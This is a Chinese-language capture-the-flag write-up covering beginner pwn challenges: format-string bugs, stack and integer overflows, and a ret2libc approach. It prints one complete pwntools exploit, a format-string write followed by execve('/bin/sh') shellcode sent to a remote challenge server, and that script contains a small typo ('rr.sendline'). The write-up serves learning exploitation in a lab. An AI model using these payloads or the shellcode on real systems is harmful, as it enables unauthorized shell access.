get_shell
这道题先看看附件,探查一下信息,再用ida打开,就可以发现伪代码其实很简单的:
然后在远程连接这个端口进行攻击了。
并且我们能看到它的大致防护信息,然后来个脚本:
此时就可以进行攻击了。
这样子flag就拿到了。
CGfsb
刚开始先在windows里进行一番静态调试:
大概的知道了一些漏洞,和一点信息,我们就可以进行破解了。
此时我们要了解一下格式化字符串漏洞,和PIE保护。
PIE 全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址
格式化字符串漏洞 漏洞产生的原理就是程序员偷懒将格式化字符串的操作权交给了用户,然后就会产生任意地址读写的漏洞,我们就可以利用%x将对应的内存地址泄露出来,如下:
char str[100];
scanf("%s",&str);
printf("%s",str);//正常,没有漏洞
printf(str);//%x将对应的内存地址泄露出来
//任意内存读写需要用到格式化字符串%s
我们就可以用这个去查看内存地址啦
先检查了一下地址,PIE没有开启,这样子的化,pwnme的地址是不变的,我们就需要去改变pwnme的地址了,这里是利用%n,%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置。
偏移量是10,我们再找到pwnme的地址,就开始写脚本了。
后面的 ‘aaaa%10$n’ 这个中间的4个a是为了凑成8个数,32位的地址算4个数,再加4个a就凑成了8这个数.
flag就有了。
hello_pwn
先来看看main主函数:
然后再来去追踪一下这两个变量,看看他们储存的距离:
是个栈溢出的题,然后脚本如下:
remote就是远程连接一个端口,payload就是我们要输入的破解代码,sendlineafter可以拆开英文单词理解,直到遇到bof后送出payload这个(其实就是输入)interactive就是要进行交互了。
can only concatenate str (not “int”) to str;此时出现个这个错误,发现了其它的网上的一些脚本也会出现一些其它的错误,大都是这个,它的报错就是表示没有做数据类型的转换。知识点上有关其详细解释。
flag就出现了。
level2
是个32位的文件,先看一下保护措施:
再用ida打开看一下吧:
去追踪一下:
存在栈溢出,而通过字符串搜索会有个提示,而根据这个就可以写脚本了
就是构成system("/bin/sh")这条语句啦。
然后就尝试利用脚本进行攻击了!
flag就有了。
when_did_you_born
打开有来波分析,看看是什么漏洞。
分析到了 ,我们就可以开始下一步了,对了,记得checksec一下,看看有没有什么保护措施,不过我就不上图了,没有开启PIE保护的,我们看一下v4和v5的所在地址。
此时我们就可以开始写脚本了。
运行起来它。
这样子flag就出现了。
flag在上。
level0
打开直接先EP,再ida打开分析代码,分析一下是个说什么样的漏洞:
我们打开发现有个
return read(0, &buf, 0x200uLL);
说明是个栈溢出漏洞,字符串搜索又发现了system和/bin/sh这两个极具特色的字符串。
与
然后我们可以开始编写脚本了,不过在此之前我们checksec一下
然后上脚本
跑起来进行一下。
不错,flag就出来了。
int_overflow
提示是有关溢出的。
我们看一下ida,发现是个套娃。
此时我们就进入login()函数里面看看
我们再看看check_passwd()函数里面的检查内容。
分析了这么久,一直在想这么成功,却忘了我们的目的是flag。
而在字符串搜索中发现了cat flag这个特殊的字符,所以我们要栈溢出,不过我也进行了计算s的长度为25,buf为409,想要溢出s的长度和buf的长度都是不够的。但是 dest它想要实现栈溢出距离较短,而check_passwd()函数里的Success是有 result = strcpy(&dest, s); 这个溢出的,所以我们只要到达这里才行,而上面的if判断语句是判断buf的长度的,不过v3是int8位,最大是255,这里我们是整数溢出,260~264之间就行。
来来来,跑起来,我们运行起来看看。
flag起来了。
string
字符串?不知道,我们用ida分析一下,然后就是文字游戏,确实挺长的,是挺难的。新手区最难题。
我们进去flag函数里看看,发现有三个函数,分为三步,第一步比较简单,直接看第二步(第二个函数)
这个是可以进行修改地址里的数据的,我们再来看看最后一步
先看上面,最后的一条语句,就是执行read里面的内容,嗯下面,这里就是在main函数里的v3和v3[1]相等,但我们知道它不相等,所以我们就要用格式化字符串漏洞修改它的值。
此时我们就可以写脚本了,对了,checksec一下,它是开起canary保护,栈步可以执行,所以我们要实时对它进行获取信息。
from pwn import *
r = remote('111.200.241.244',59123)
r.recvuntil('secret[0] is ')
address = int(r.recvuntil('\n')[:-1],16)
r.recvuntil('name be:\n')
r.sendline('aaaa')
r.recvuntil('up?:\n')
r.sendline('east')
r.recvuntil('leave(0)?:')
r.sendline('1')
r.recvuntil("an address'")
rr.sendline(str(address))
payload = '%85c%7$n'
r.recvuntil('wish')
r.sendline(payload)
r.recvuntil('SPELL\n')
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'#asm(shellcraft.sh())
r.sendline(shellcode)
r.interactive()
flag就出现了,不过还是要补充一下里面的知识点:
guess_num
先PE,再ida分析一下代码,不着急看它的保护措施,先看代码,做到心中有数。64位的,srand函数是设置随机数种子。
到这里我想的是gets漏洞直接溢出到eip修改成flag函数的地址。所以我们就要查看一下它的保护措施:
NX和PIE和金丝雀都有,所以我们就不能修改eip的地址,除非前面有信息泄露,不过在栈中能够看到seed再var_30后面,所以可以溢出到seed这里修改随机种子,进而通过得到flag。
ldd:列出动态库依赖关系。这样子我们在能知道它的随机数是通过上面算法控制的。
脚本如上,LoadLibrary 是将指定的模块加载到调用进程的地址空间中。指定的模块可能会导致其他模块被加载。
ctypes 是Python的一个外部库,提供和C语言兼容的数据类型,可以很方便地调用DLL中输出的C接口函数。
flag就得到了。脚本是c和python混合代码,补充一点:
DLL 是Dynamic Link Library的缩写,意为动态链接库。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。
cgpwn2
EP再ida不说了,一般我是先ida分析代码,逆向带给我的习惯。
在函数列表里还有个pwn函数,不过没什么用,这个是个构造shellcode的题,我们可以看看它的保护措施。
此时我们再来看看hello函数里面的内容是些什么。
刚开始我还想一步一步看看它是这么区运行的,都是逆向的思维。其实是不用的,我们可以直接区找system这个函数,或者(’/bin/sh’)这个特殊的字符串。通过搜索字符串是可以找到system这个函数的,不过差个(’/bin/sh’),但是我们有两个输入的,所以我们就可以通过这两个输入进行攻击。
然后跑起来,运行它一下。
这样子flag就出来啦,在这个过程中我要说明一点,刚开始我说pwn没什么用,事实证明我错了。有用有很大用,通过搜索字符串得到的system是在LOAD上,不是在.text上,而pwn上的system是在.text上。
level3
这个附件是在压缩包里。ida打开一下,加载有点慢,可能是程序有点旧。但是事实又证明我错了,加载开F5不关用,这时我想起我用EP探测时提醒我用winrar,说的没错,我该用其解压一下。然后有两个文件,看看level3这个文件。
此时我们就进去看看到底有些什么。
很明显啦,不过还是要找找system语句,并且看看有没有什么保护。
发现NX开启,说明栈不可执行,就是我们没办法构造我们自己的shellcode啦。到这里发现确实有点难(不是一点难),所以这时还有另一个文件,说明它要在本地中运行起来,和逆向很像。
libc是Linux下的ANSI C的函数库 补充知识点。
程序本身没有什么语句,但是有个动态库,所以我们就要用到这个动态库了,在这个动态库中找到我们要用到的system和("/bin/sh")这两条语句。
同理可以找到system的位置0003A940这个,但是(’/bin/sh’)这个位置是比较难找到的,所以我们可以用
strings -at x libc_32.so.6 | grep bin/sh
查看动态库是否存在我们需要的字符串以及它在库中的相对位置,其实system也可以用这条语句来进行查找。
或者用libc.search("/bin/sh").next()这条语句来进行脚本中搜索。
当然搜索write也是可以的。这里再补充一个plt表got表。
plt表为(Procedure Link Table),是程序链接表。而got表为(Global Offset Table),是一个存储外部库函数的表,全局偏移表。
对于模块外部引用的全局变量和全局函数,用 GOT 表的表项内容作为地址来间接寻址;对于本模块内的静态变量和静态函数,用 GOT 表的首地址作为一个基准,用相对于该基准的偏移量来引用。
当调用一个函数时候,会调用plt,然后plt调用got表,如果是动态链接,got表会从libc库里找这个函数。
当然我们可以先泄露write函数的got表的地址,然后通过write-system=libc中write函数和system函数的差值找到system函数,同理找到/bin/sh字符串
symbols是函数的调用地址,对于在程序内部的一个方法,symbols地址就是方法的入口地址,对于外部通过动态链接的方法,symbols地址就是其plt地址。也对应着got地址。
来说说思路,利用两次栈溢出,一次用write函数获得地址,然后再次回到read这里进行攻击。
ssize_t write(int fd, const void *buf, size_t nbyte)
fd:文件描述符;
buf:指定的缓冲区,即指针,指向一段内存单元;
nbyte:要写入文件指定的字节数;
脚本写了好长时间,参考了许多大师傅们的wp,再加上自己的理解,终于写出脚本了。跑起来试试。
哎,pwn不容易!
知识点
pwn的脚本里发现有些会运行出错,我查了好多资料才搞懂,现在的pwntools已经更新到了python3版本,而python2版本是没办法去下载了(很难)还有一条语句:
payload = "A"*4 + p64(123)
这条语句会出错,在python2版本中是不存在这种问题的,所以我们就要想办法能够顺利运行起来,str()强制转换是没办法的,python3对字符串相加增加了一些要求,这时我们就想办法进行编码,Ascll编码是不行的,发现了iso-8859-1这个编码是可以的。
payload = "A"*4 + p64(123).decode('iso-8859-1')
接下来再说说编码的问题,这个问题挺大的,因为网上现有的都是python2的版本,很少有python3的版本,现在python2版本又不更新,我们用python3版本又一直出现这个问题,所以我们必须要解决这个大问题:
bytes object--->b = b"example"
str object--->s = “example”
str to bytes--->bytes(s, encoding = “utf8”)
bytes to str--->str(b, encoding = “utf-8”)
str to bytes--->str.encode(s)
bytes to str--->bytes.decode(b)